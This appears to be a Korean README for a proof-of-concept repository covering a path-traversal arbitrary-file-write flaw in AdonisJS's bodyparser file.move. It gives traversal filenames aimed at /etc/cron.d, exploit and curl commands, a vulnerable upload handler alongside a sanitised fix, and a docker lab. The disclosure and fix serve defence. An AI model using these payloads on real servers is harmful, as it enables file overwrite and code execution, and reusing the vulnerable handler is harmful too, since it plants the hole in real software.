// @adonisjs/bodyparser의 취약한 코드 경로
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← 정화되지 않은 클라이언트 입력
  const filePath = path.join(location, fileName)     // ← path.join은 순회를 허용함
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

┌─────────────────────────────────────────────────────────────────┐
│                         공격자                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    취약한 adonisjs 앱                            │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← 정화된 이름이 제공되지 않음        │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   /etc/cron.d/pwned로 해석됨                                    │
│        │                                                         │
│        ▼                                                         │
│   업로드 디렉터리 외부에 파일 작성                               │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    임의 파일 쓰기
                         → cron을 통한 rce
                         → 설정 파일 덮어쓰기
                         → ssh 키 주입

# 악용 디렉터리로 이동
cd Exploit-PoC

# 의존성 설치
pip install -r requirements.txt

# 악용 실행
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

// ❌ 취약함 - 클라이언트가 제공한 파일명을 사용
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName이 파일명으로 사용됨
  }
  return response.ok({ message: 'uploaded' })
}

// ✅ 안전함 - 정화된 파일명을 생성
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // 원본 확장자를 가진 고유 파일명 생성
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // 덮어쓰기 방지
    })
  }
  return response.ok({ message: 'uploaded' })
}

# 저장소 복제
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# 취약한 환경 시작
docker-compose up --build

# 다른 터미널에서 악용 실행
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# 업로드 디렉터리 외부에 파일이 작성되었는지 확인
docker-compose exec app cat /app/test.txt